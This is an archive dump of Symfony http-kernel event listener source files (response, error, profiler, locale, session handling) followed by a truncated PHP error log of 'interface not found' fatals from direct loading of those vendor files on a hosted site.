function __construct(ClonerInterface $cloner, DataDumperInterface $dumper, Connection $connection = null) { $this->cloner = $cloner; $this->dumper = $dumper; $this->connection = $connection; } /** * @return void */ public function configure() { $cloner = $this->cloner; $dumper = $this->dumper; $connection = $this->connection; VarDumper::setHandler(static function ($var, string $label = null) use ($cloner, $dumper, $connection) { $data = $cloner->cloneVar($var); if (null !== $label) { $data = $data->withContext(['label' => $label]); } if (!$connection || !$connection->write($data)) { $dumper->dump($data); } }); } public static function getSubscribedEvents(): array { if (!class_exists(ConsoleEvents::class)) { return []; } // Register early to have a working dump() as early as possible return [ConsoleEvents::COMMAND => ['configure', 1024]]; } } http-kernel/EventListener/ResponseListener.php000064400000003547151113511570015616 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * ResponseListener fixes the Response headers based on the Request. * * @author Fabien Potencier * * @final */ class ResponseListener implements EventSubscriberInterface { private string $charset; private bool $addContentLanguageHeader; public function __construct(string $charset, bool $addContentLanguageHeader = false) { $this->charset = $charset; $this->addContentLanguageHeader = $addContentLanguageHeader; } /** * Filters the Response. */ public function onKernelResponse(ResponseEvent $event): void { if (!$event->isMainRequest()) { return; } $response = $event->getResponse(); if (null === $response->getCharset()) { $response->setCharset($this->charset); } if ($this->addContentLanguageHeader && !$response->isInformational() && !$response->isEmpty() && !$response->headers->has('Content-Language')) { $response->headers->set('Content-Language', $event->getRequest()->getLocale()); } if ($event->getRequest()->attributes->get('_vary_by_language')) { $response->setVary('Accept-Language', false); } $response->prepare($event->getRequest()); } public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => 'onKernelResponse', ]; } } http-kernel/EventListener/ErrorListener.php000064400000017753151113511570015115 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use Symfony\Component\ErrorHandler\Exception\FlattenException; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Attribute\WithHttpStatus; use Symfony\Component\HttpKernel\Attribute\WithLogLevel; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Exception\HttpException; use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface; use Symfony\Component\HttpKernel\HttpKernelInterface; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\HttpKernel\Log\DebugLoggerInterface; /** * @author Fabien Potencier */ class ErrorListener implements EventSubscriberInterface { protected $controller; protected $logger; protected $debug; /** * @var array|null}> */ protected $exceptionsMapping; /** * @param array|null}> $exceptionsMapping */ public function __construct(string|object|array|null $controller, LoggerInterface $logger = null, bool $debug = false, array $exceptionsMapping = []) { $this->controller = $controller; $this->logger = $logger; $this->debug = $debug; $this->exceptionsMapping = $exceptionsMapping; } /** * @return void */ public function logKernelException(ExceptionEvent $event) { $throwable = $event->getThrowable(); $logLevel = $this->resolveLogLevel($throwable); foreach ($this->exceptionsMapping as $class => $config) { if (!$throwable instanceof $class || !$config['status_code']) { continue; } if (!$throwable instanceof HttpExceptionInterface || $throwable->getStatusCode() !== $config['status_code']) { $headers = $throwable instanceof HttpExceptionInterface ? $throwable->getHeaders() : []; $throwable = new HttpException($config['status_code'], $throwable->getMessage(), $throwable, $headers); $event->setThrowable($throwable); } break; } // There's no specific status code defined in the configuration for this exception if (!$throwable instanceof HttpExceptionInterface) { $class = new \ReflectionClass($throwable); do { if ($attributes = $class->getAttributes(WithHttpStatus::class, \ReflectionAttribute::IS_INSTANCEOF)) { /** @var WithHttpStatus $instance */ $instance = $attributes[0]->newInstance(); $throwable = new HttpException($instance->statusCode, $throwable->getMessage(), $throwable, $instance->headers); $event->setThrowable($throwable); break; } } while ($class = $class->getParentClass()); } $e = FlattenException::createFromThrowable($throwable); $this->logException($throwable, sprintf('Uncaught PHP Exception %s: "%s" at %s line %s', $e->getClass(), $e->getMessage(), $e->getFile(), $e->getLine()), $logLevel); } /** * @return void */ public function onKernelException(ExceptionEvent $event) { if (null === $this->controller) { return; } $throwable = $event->getThrowable(); $request = $this->duplicateRequest($throwable, $event->getRequest()); try { $response = $event->getKernel()->handle($request, HttpKernelInterface::SUB_REQUEST, false); } catch (\Exception $e) { $f = FlattenException::createFromThrowable($e); $this->logException($e, sprintf('Exception thrown when handling an exception (%s: %s at %s line %s)', $f->getClass(), $f->getMessage(), $e->getFile(), $e->getLine())); $prev = $e; do { if ($throwable === $wrapper = $prev) { throw $e; } } while ($prev = $wrapper->getPrevious()); $prev = new \ReflectionProperty($wrapper instanceof \Exception ? \Exception::class : \Error::class, 'previous'); $prev->setValue($wrapper, $throwable); throw $e; } $event->setResponse($response); if ($this->debug) { $event->getRequest()->attributes->set('_remove_csp_headers', true); } } public function removeCspHeader(ResponseEvent $event): void { if ($this->debug && $event->getRequest()->attributes->get('_remove_csp_headers', false)) { $event->getResponse()->headers->remove('Content-Security-Policy'); } } /** * @return void */ public function onControllerArguments(ControllerArgumentsEvent $event) { $e = $event->getRequest()->attributes->get('exception'); if (!$e instanceof \Throwable || false === $k = array_search($e, $event->getArguments(), true)) { return; } $r = new \ReflectionFunction($event->getController()(...)); $r = $r->getParameters()[$k] ?? null; if ($r && (!($r = $r->getType()) instanceof \ReflectionNamedType || FlattenException::class === $r->getName())) { $arguments = $event->getArguments(); $arguments[$k] = FlattenException::createFromThrowable($e); $event->setArguments($arguments); } } public static function getSubscribedEvents(): array { return [ KernelEvents::CONTROLLER_ARGUMENTS => 'onControllerArguments', KernelEvents::EXCEPTION => [ ['logKernelException', 0], ['onKernelException', -128], ], KernelEvents::RESPONSE => ['removeCspHeader', -128], ]; } /** * Logs an exception. */ protected function logException(\Throwable $exception, string $message, string $logLevel = null): void { if (null === $this->logger) { return; } $logLevel ??= $this->resolveLogLevel($exception); $this->logger->log($logLevel, $message, ['exception' => $exception]); } /** * Resolves the level to be used when logging the exception. */ private function resolveLogLevel(\Throwable $throwable): string { foreach ($this->exceptionsMapping as $class => $config) { if ($throwable instanceof $class && $config['log_level']) { return $config['log_level']; } } $class = new \ReflectionClass($throwable); do { if ($attributes = $class->getAttributes(WithLogLevel::class)) { /** @var WithLogLevel $instance */ $instance = $attributes[0]->newInstance(); return $instance->level; } } while ($class = $class->getParentClass()); if (!$throwable instanceof HttpExceptionInterface || $throwable->getStatusCode() >= 500) { return LogLevel::CRITICAL; } return LogLevel::ERROR; } /** * Clones the request for the exception. */ protected function duplicateRequest(\Throwable $exception, Request $request): Request { $attributes = [ '_controller' => $this->controller, 'exception' => $exception, 'logger' => $this->logger instanceof DebugLoggerInterface ? $this->logger : null, ]; $request = $request->duplicate(null, null, $attributes); $request->setMethod('GET'); return $request; } } http-kernel/EventListener/ValidateRequestListener.php000064400000002225151113511570017112 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * Validates Requests. * * @author Magnus Nordlander * * @final */ class ValidateRequestListener implements EventSubscriberInterface { /** * Performs the validation. */ public function onKernelRequest(RequestEvent $event): void { if (!$event->isMainRequest()) { return; } $request = $event->getRequest(); if ($request::getTrustedProxies()) { $request->getClientIps(); } $request->getHost(); } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => [ ['onKernelRequest', 256], ], ]; } } http-kernel/EventListener/ProfilerListener.php000064400000012207151113511570015573 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\Session; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Event\TerminateEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\HttpKernel\Profiler\Profile; use Symfony\Component\HttpKernel\Profiler\Profiler; /** * ProfilerListener collects data for the current request by listening to the kernel events. * * @author Fabien Potencier * * @final */ class ProfilerListener implements EventSubscriberInterface { private Profiler $profiler; private ?RequestMatcherInterface $matcher; private bool $onlyException; private bool $onlyMainRequests; private ?\Throwable $exception = null; /** @var \SplObjectStorage */ private \SplObjectStorage $profiles; private RequestStack $requestStack; private ?string $collectParameter; /** @var \SplObjectStorage */ private \SplObjectStorage $parents; /** * @param bool $onlyException True if the profiler only collects data when an exception occurs, false otherwise * @param bool $onlyMainRequests True if the profiler only collects data when the request is the main request, false otherwise */ public function __construct(Profiler $profiler, RequestStack $requestStack, RequestMatcherInterface $matcher = null, bool $onlyException = false, bool $onlyMainRequests = false, string $collectParameter = null) { $this->profiler = $profiler; $this->matcher = $matcher; $this->onlyException = $onlyException; $this->onlyMainRequests = $onlyMainRequests; $this->profiles = new \SplObjectStorage(); $this->parents = new \SplObjectStorage(); $this->requestStack = $requestStack; $this->collectParameter = $collectParameter; } /** * Handles the onKernelException event. */ public function onKernelException(ExceptionEvent $event): void { if ($this->onlyMainRequests && !$event->isMainRequest()) { return; } $this->exception = $event->getThrowable(); } /** * Handles the onKernelResponse event. */ public function onKernelResponse(ResponseEvent $event): void { if ($this->onlyMainRequests && !$event->isMainRequest()) { return; } if ($this->onlyException && null === $this->exception) { return; } $request = $event->getRequest(); if (null !== $this->collectParameter && null !== $collectParameterValue = $request->get($this->collectParameter)) { true === $collectParameterValue || filter_var($collectParameterValue, \FILTER_VALIDATE_BOOL) ? $this->profiler->enable() : $this->profiler->disable(); } $exception = $this->exception; $this->exception = null; if (null !== $this->matcher && !$this->matcher->matches($request)) { return; } $session = $request->hasPreviousSession() ? $request->getSession() : null; if ($session instanceof Session) { $usageIndexValue = $usageIndexReference = &$session->getUsageIndex(); $usageIndexReference = \PHP_INT_MIN; } try { if (!$profile = $this->profiler->collect($request, $event->getResponse(), $exception)) { return; } } finally { if ($session instanceof Session) { $usageIndexReference = $usageIndexValue; } } $this->profiles[$request] = $profile; $this->parents[$request] = $this->requestStack->getParentRequest(); } public function onKernelTerminate(TerminateEvent $event): void { // attach children to parents foreach ($this->profiles as $request) { if (null !== $parentRequest = $this->parents[$request]) { if (isset($this->profiles[$parentRequest])) { $this->profiles[$parentRequest]->addChild($this->profiles[$request]); } } } // save profiles foreach ($this->profiles as $request) { $this->profiler->saveProfile($this->profiles[$request]); } $this->profiles = new \SplObjectStorage(); $this->parents = new \SplObjectStorage(); } public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => ['onKernelResponse', -100], KernelEvents::EXCEPTION => ['onKernelException', 0], KernelEvents::TERMINATE => ['onKernelTerminate', -1024], ]; } } http-kernel/EventListener/LocaleListener.php000064400000006145151113511570015214 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\KernelEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\Routing\RequestContextAwareInterface; /** * Initializes the locale based on the current request. * * @author Fabien Potencier * * @final */ class LocaleListener implements EventSubscriberInterface { private ?RequestContextAwareInterface $router; private string $defaultLocale; private RequestStack $requestStack; private bool $useAcceptLanguageHeader; private array $enabledLocales; public function __construct(RequestStack $requestStack, string $defaultLocale = 'en', RequestContextAwareInterface $router = null, bool $useAcceptLanguageHeader = false, array $enabledLocales = []) { $this->defaultLocale = $defaultLocale; $this->requestStack = $requestStack; $this->router = $router; $this->useAcceptLanguageHeader = $useAcceptLanguageHeader; $this->enabledLocales = $enabledLocales; } public function setDefaultLocale(KernelEvent $event): void { $event->getRequest()->setDefaultLocale($this->defaultLocale); } public function onKernelRequest(RequestEvent $event): void { $request = $event->getRequest(); $this->setLocale($request); $this->setRouterContext($request); } public function onKernelFinishRequest(FinishRequestEvent $event): void { if (null !== $parentRequest = $this->requestStack->getParentRequest()) { $this->setRouterContext($parentRequest); } } private function setLocale(Request $request): void { if ($locale = $request->attributes->get('_locale')) { $request->setLocale($locale); } elseif ($this->useAcceptLanguageHeader) { if ($preferredLanguage = $request->getPreferredLanguage($this->enabledLocales)) { $request->setLocale($preferredLanguage); } $request->attributes->set('_vary_by_language', true); } } private function setRouterContext(Request $request): void { $this->router?->getContext()->setParameter('_locale', $request->getLocale()); } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => [ ['setDefaultLocale', 100], // must be registered after the Router to have access to the _locale ['onKernelRequest', 16], ], KernelEvents::FINISH_REQUEST => [['onKernelFinishRequest', 0]], ]; } } http-kernel/EventListener/DisallowRobotsIndexingListener.php000064400000002114151113511570020442 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * Ensures that the application is not indexed by search engines. * * @author Gary PEGEOT */ class DisallowRobotsIndexingListener implements EventSubscriberInterface { private const HEADER_NAME = 'X-Robots-Tag'; public function onResponse(ResponseEvent $event): void { if (!$event->getResponse()->headers->has(static::HEADER_NAME)) { $event->getResponse()->headers->set(static::HEADER_NAME, 'noindex'); } } public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => ['onResponse', -255], ]; } } http-kernel/EventListener/AbstractSessionListener.php000064400000030302151113511570017114 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Psr\Container\ContainerInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Cookie; use Symfony\Component\HttpFoundation\Session\Session; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpFoundation\Session\SessionUtils; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\Exception\UnexpectedSessionUsageException; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Contracts\Service\ResetInterface; /** * Sets the session onto the request on the "kernel.request" event and saves * it on the "kernel.response" event. * * In addition, if the session has been started it overrides the Cache-Control * header in such a way that all caching is disabled in that case. * If you have a scenario where caching responses with session information in * them makes sense, you can disable this behaviour by setting the header * AbstractSessionListener::NO_AUTO_CACHE_CONTROL_HEADER on the response. * * @author Johannes M. Schmitt * @author Tobias Schultze * * @internal */ abstract class AbstractSessionListener implements EventSubscriberInterface, ResetInterface { public const NO_AUTO_CACHE_CONTROL_HEADER = 'Symfony-Session-NoAutoCacheControl'; protected $container; private bool $debug; /** * @var array */ private $sessionOptions; public function __construct(ContainerInterface $container = null, bool $debug = false, array $sessionOptions = []) { $this->container = $container; $this->debug = $debug; $this->sessionOptions = $sessionOptions; } public function onKernelRequest(RequestEvent $event): void { if (!$event->isMainRequest()) { return; } $request = $event->getRequest(); if (!$request->hasSession()) { $request->setSessionFactory(function () use ($request) { // Prevent calling `$this->getSession()` twice in case the Request (and the below factory) is cloned static $sess; if (!$sess) { $sess = $this->getSession(); $request->setSession($sess); /* * For supporting sessions in php runtime with runners like roadrunner or swoole, the session * cookie needs to be read from the cookie bag and set on the session storage. * * Do not set it when a native php session is active. */ if ($sess && !$sess->isStarted() && \PHP_SESSION_ACTIVE !== session_status()) { $sessionId = $sess->getId() ?: $request->cookies->get($sess->getName(), ''); $sess->setId($sessionId); } } return $sess; }); } } public function onKernelResponse(ResponseEvent $event): void { if (!$event->isMainRequest() || (!$this->container->has('initialized_session') && !$event->getRequest()->hasSession())) { return; } $response = $event->getResponse(); $autoCacheControl = !$response->headers->has(self::NO_AUTO_CACHE_CONTROL_HEADER); // Always remove the internal header if present $response->headers->remove(self::NO_AUTO_CACHE_CONTROL_HEADER); if (!$event->getRequest()->hasSession(true)) { return; } $session = $event->getRequest()->getSession(); if ($session->isStarted()) { /* * Saves the session, in case it is still open, before sending the response/headers. * * This ensures several things in case the developer did not save the session explicitly: * * * If a session save handler without locking is used, it ensures the data is available * on the next request, e.g. after a redirect. PHPs auto-save at script end via * session_register_shutdown is executed after fastcgi_finish_request. So in this case * the data could be missing the next request because it might not be saved the moment * the new request is processed. * * A locking save handler (e.g. the native 'files') circumvents concurrency problems like * the one above. But by saving the session before long-running things in the terminate event, * we ensure the session is not blocked longer than needed. * * When regenerating the session ID no locking is involved in PHPs session design. See * https://bugs.php.net/61470 for a discussion. So in this case, the session must * be saved anyway before sending the headers with the new session ID. Otherwise session * data could get lost again for concurrent requests with the new ID. One result could be * that you get logged out after just logging in. * * This listener should be executed as one of the last listeners, so that previous listeners * can still operate on the open session. This prevents the overhead of restarting it. * Listeners after closing the session can still work with the session as usual because * Symfonys session implementation starts the session on demand. So writing to it after * it is saved will just restart it. */ $session->save(); /* * For supporting sessions in php runtime with runners like roadrunner or swoole the session * cookie need to be written on the response object and should not be written by PHP itself. */ $sessionName = $session->getName(); $sessionId = $session->getId(); $sessionOptions = $this->getSessionOptions($this->sessionOptions); $sessionCookiePath = $sessionOptions['cookie_path'] ?? '/'; $sessionCookieDomain = $sessionOptions['cookie_domain'] ?? null; $sessionCookieSecure = $sessionOptions['cookie_secure'] ?? false; $sessionCookieHttpOnly = $sessionOptions['cookie_httponly'] ?? true; $sessionCookieSameSite = $sessionOptions['cookie_samesite'] ?? Cookie::SAMESITE_LAX; $sessionUseCookies = $sessionOptions['use_cookies'] ?? true; SessionUtils::popSessionCookie($sessionName, $sessionId); if ($sessionUseCookies) { $request = $event->getRequest(); $requestSessionCookieId = $request->cookies->get($sessionName); $isSessionEmpty = ($session instanceof Session ? $session->isEmpty() : !$session->all()) && empty($_SESSION); // checking $_SESSION to keep compatibility with native sessions if ($requestSessionCookieId && $isSessionEmpty) { // PHP internally sets the session cookie value to "deleted" when setcookie() is called with empty string $value argument // which happens in \Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler::destroy // when the session gets invalidated (for example on logout) so we must handle this case here too // otherwise we would send two Set-Cookie headers back with the response SessionUtils::popSessionCookie($sessionName, 'deleted'); $response->headers->clearCookie( $sessionName, $sessionCookiePath, $sessionCookieDomain, $sessionCookieSecure, $sessionCookieHttpOnly, $sessionCookieSameSite ); } elseif ($sessionId !== $requestSessionCookieId && !$isSessionEmpty) { $expire = 0; $lifetime = $sessionOptions['cookie_lifetime'] ?? null; if ($lifetime) { $expire = time() + $lifetime; } $response->headers->setCookie( Cookie::create( $sessionName, $sessionId, $expire, $sessionCookiePath, $sessionCookieDomain, $sessionCookieSecure, $sessionCookieHttpOnly, false, $sessionCookieSameSite ) ); } } } if ($session instanceof Session ? 0 === $session->getUsageIndex() : !$session->isStarted()) { return; } if ($autoCacheControl) { $maxAge = $response->headers->hasCacheControlDirective('public') ? 0 : (int) $response->getMaxAge(); $response ->setExpires(new \DateTimeImmutable('+'.$maxAge.' seconds')) ->setPrivate() ->setMaxAge($maxAge) ->headers->addCacheControlDirective('must-revalidate'); } if (!$event->getRequest()->attributes->get('_stateless', false)) { return; } if ($this->debug) { throw new UnexpectedSessionUsageException('Session was used while the request was declared stateless.'); } if ($this->container->has('logger')) { $this->container->get('logger')->warning('Session was used while the request was declared stateless.'); } } public function onSessionUsage(): void { if (!$this->debug) { return; } if ($this->container?->has('session_collector')) { $this->container->get('session_collector')(); } if (!$requestStack = $this->container?->has('request_stack') ? $this->container->get('request_stack') : null) { return; } $stateless = false; $clonedRequestStack = clone $requestStack; while (null !== ($request = $clonedRequestStack->pop()) && !$stateless) { $stateless = $request->attributes->get('_stateless'); } if (!$stateless) { return; } if (!$session = $requestStack->getCurrentRequest()->getSession()) { return; } if ($session->isStarted()) { $session->save(); } throw new UnexpectedSessionUsageException('Session was used while the request was declared stateless.'); } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => ['onKernelRequest', 128], // low priority to come after regular response listeners KernelEvents::RESPONSE => ['onKernelResponse', -1000], ]; } public function reset(): void { if (\PHP_SESSION_ACTIVE === session_status()) { session_abort(); } session_unset(); $_SESSION = []; if (!headers_sent()) { // session id can only be reset when no headers were so we check for headers_sent first session_id(''); } } /** * Gets the session object. */ abstract protected function getSession(): ?SessionInterface; private function getSessionOptions(array $sessionOptions): array { $mergedSessionOptions = []; foreach (session_get_cookie_params() as $key => $value) { $mergedSessionOptions['cookie_'.$key] = $value; } foreach ($sessionOptions as $key => $value) { // do the same logic as in the NativeSessionStorage if ('cookie_secure' === $key && 'auto' === $value) { continue; } $mergedSessionOptions[$key] = $value; } return $mergedSessionOptions; } } http-kernel/EventListener/error_log000064400000047212151113511570013513 0ustar00[19-Nov-2025 11:11:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php on line 25 [19-Nov-2025 11:12:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php on line 26 [19-Nov-2025 11:13:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\EventListener\AbstractSessionListener" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php on line 23 [19-Nov-2025 11:16:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php on line 31 [19-Nov-2025 11:18:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php:42 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php on line 42 [19-Nov-2025 11:19:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php on line 27 [19-Nov-2025 11:20:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php on line 33 [19-Nov-2025 11:21:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php on line 28 [19-Nov-2025 11:22:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php on line 33 [19-Nov-2025 11:23:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php on line 23 [19-Nov-2025 11:24:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php on line 26 [19-Nov-2025 11:25:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php on line 25 [19-Nov-2025 11:26:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php on line 30 [19-Nov-2025 11:27:39 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpKernel\EventListener\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/StreamedResponseListener.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/StreamedResponseListener.php on line 19 [19-Nov-2025 11:29:46 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php on line 25 [19-Nov-2025 11:30:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php on line 41 [19-Nov-2025 11:37:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php on line 34 [25-Nov-2025 02:34:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php on line 31 [25-Nov-2025 02:35:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php on line 25 [25-Nov-2025 02:56:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php on line 33 [25-Nov-2025 02:58:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php on line 25 [25-Nov-2025 02:59:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php on line 25 [25-Nov-2025 03:00:26 UTC] PHP Fatal error: Uncaught Error: Interface 